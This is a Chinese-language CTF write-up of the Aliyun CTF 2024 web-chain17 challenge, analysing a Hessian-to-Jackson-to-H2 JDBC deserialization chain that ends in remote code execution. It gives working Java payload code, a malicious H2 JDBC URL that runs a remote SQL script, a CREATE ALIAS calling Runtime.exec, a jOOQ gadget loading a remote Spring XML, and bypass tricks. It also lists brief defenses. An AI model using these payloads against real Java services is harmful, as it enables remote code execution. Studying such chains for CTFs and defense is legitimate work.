2024阿里云ctf-web-chain17学习
字数 894 2025-08-05 08:19:13
H2 JDBC Attack 漏洞分析与利用
漏洞概述
本文详细分析了阿里云CTF 2024中Web-chain17题目涉及的H2数据库JDBC攻击链,通过Hessian反序列化漏洞触发H2数据库的远程代码执行(RCE)。
环境依赖
漏洞利用涉及以下关键依赖:
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
</dependency>
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>hessian-lite</artifactId>
<version>3.2.13</version>
</dependency>
<dependency>
<groupId>cn.hutool</groupId>
<artifactId>hutool-all</artifactId>
<version>5.8.16</version>
</dependency>
<dependency>
<groupId>com.h2database</groupId>
<artifactId>h2</artifactId>
<version>2.2.224</version>
</dependency>
H2 RCE原理
H2数据库支持通过JDBC URL初始化时执行SQL脚本:
jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://127.0.0.1:8000/poc.sql'
攻击者可构造恶意SQL脚本创建Java函数并执行系统命令:
CREATE ALIAS EXEC AS 'String shellexec(String cmd) throws java.io.IOException {
Runtime.getRuntime().exec(cmd);
return "su18";
}';
CALL EXEC('open -a Calculator.app')
漏洞利用链分析
完整的利用链如下:
Hessian2#readObject ->
AtomicReference#toString ->
String#valueOf ->
POJONode#toString ->
H2 JDBC Attack
关键步骤解析
-
Hessian反序列化触发点:
- 当
_type不为null且不是Map/SortedMap时,调用构造函数实例化对象 - 生成JSONObject变量并通过put方法设置键值对
- 当
-
指定Hessian2创建JSONObject:
hessian2Output.writeMapBegin(JSONObject.class.getName()); hessian2Output.writeObject("whatever"); -
触发POJONode的toString:
POJONode pojoNode = new POJONode(bean); Object object = new AtomicReference<>(pojoNode); hessian2Output.writeObject(object); -
Jackson序列化触发getter:
BeanSerializerBase#serializeFields中通过反射调用getter方法- 获取值后对value再次进行序列化
完整Payload构造
客户端Payload
String connectionUrl = "jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://127.0.0.1:8001/poc.sql'";
// 使用Unsafe绕过序列化限制
Unsafe unsafe = UnSafeTools.getUnsafe();
H2DataSource jdbcDataSource = (H2DataSource) unsafe.allocateInstance(H2DataSource.class);
jdbcDataSource.setURL(connectionUrl);
jdbcDataSource.setLoginTimeout(5);
// 创建代理对象触发getConnection
Object o = SourceTools.getterJacksonProxy(jdbcDataSource, DataSource.class);
// 设置Bean数据
Bean bean = new Bean();
UnSafeTools.setObject(bean, Bean.class.getDeclaredField("data"),
Base64.getDecoder().decode(SerialTools.base64Serial(o)));
// 构造Hessian序列化数据
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
Hessian2Output hessian2Output = new Hessian2Output(byteArrayOutputStream);
hessian2Output.writeMapBegin(JSONObject.class.getName());
hessian2Output.writeObject("whatever");
POJONode pojoNode = new POJONode(bean);
Object object = new AtomicReference<>(pojoNode);
hessian2Output.writeObject(object);
hessian2Output.writeMapEnd();
hessian2Output.close();
// 触发反序列化
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(byteArrayOutputStream.toByteArray());
Hessian2Input hessian2Input = new Hessian2Input((InputStream) byteArrayInputStream);
hessian2Input.readObject();
服务端Payload
String url = "http://127.0.0.1:1234/poc.xml";
// 构造jOOQ相关对象
Class clazz1 = Class.forName("org.jooq.impl.Dual");
Constructor constructor1 = clazz1.getDeclaredConstructors()[0];
constructor1.setAccessible(true);
Object table = constructor1.newInstance();
Class clazz2 = Class.forName("org.jooq.impl.TableDataType");
Constructor constructor2 = clazz2.getDeclaredConstructors()[0];
constructor2.setAccessible(true);
Object tableDataType = constructor2.newInstance(table);
Class clazz3 = Class.forName("org.jooq.impl.Val");
Constructor constructor3 = clazz3.getDeclaredConstructor(Object.class, DataType.class, boolean.class);
constructor3.setAccessible(true);
Object val = constructor3.newInstance("whatever", tableDataType, false);
Class clazz4 = Class.forName("org.jooq.impl.ConvertedVal");
Constructor constructor4 = clazz4.getDeclaredConstructors()[0];
constructor4.setAccessible(true);
Object convertedVal = constructor4.newInstance(val, tableDataType);
// 设置关键字段
Object value = url;
Class type = ClassPathXmlApplicationContext.class;
UnSafeTools.setObject(val, val.getClass().getSuperclass().getDeclaredField("value"), value);
UnSafeTools.setObject(tableDataType, tableDataType.getClass().getSuperclass().getDeclaredField("uType"), type);
// 构造事件监听链
POJONode pojoNode = new POJONode(convertedVal);
EventListenerList eventListenerList = new EventListenerList();
UndoManager undoManager = new UndoManager();
Vector vector = (Vector) ReflectTools.getFieldValue(undoManager, "edits");
vector.add(pojoNode);
ReflectTools.setFieldValue(eventListenerList, "listenerList",
new Object[]{InternalError.class, undoManager});
// 生成序列化数据
String s = SerialTools.base64Serial(eventListenerList);
System.out.println(s);
SerialTools.base64DeSerial(s);
绕过技巧
-
使用Unsafe绕过序列化限制:
- 直接分配实例避免不可序列化字段问题
H2DataSource jdbcDataSource = (H2DataSource) unsafe.allocateInstance(H2DataSource.class); -
解决trace未加载问题:
- 原生类序列化可能无法正确加载trace
- 使用SimpleDSFactory作为替代方案
-
JVM参数要求:
--add-opens java.base/java.util.concurrent.atomic=ALL-UNNAMED --add-opens java.base/java.lang=ALL-UNNAMED --add-opens java.base/java.util=ALL-UNNAMED
防御措施
- 限制H2数据库的JDBC URL格式
- 禁用H2数据库的远程脚本执行功能
- 更新Hessian和H2库到最新版本
- 实施严格的输入验证和反序列化白名单
总结
该漏洞利用链结合了Hessian反序列化、Jackson序列化和H2数据库特性,通过精心构造的对象链触发远程代码执行。关键在于:
- 利用Hessian反序列化创建特定类型对象
- 通过AtomicReference触发toString调用链
- 利用POJONode的toString触发Jackson的getter方法
- 最终通过H2 JDBC连接执行远程SQL脚本
理解整个利用链需要对Java序列化、反序列化机制和H2数据库特性有深入理解。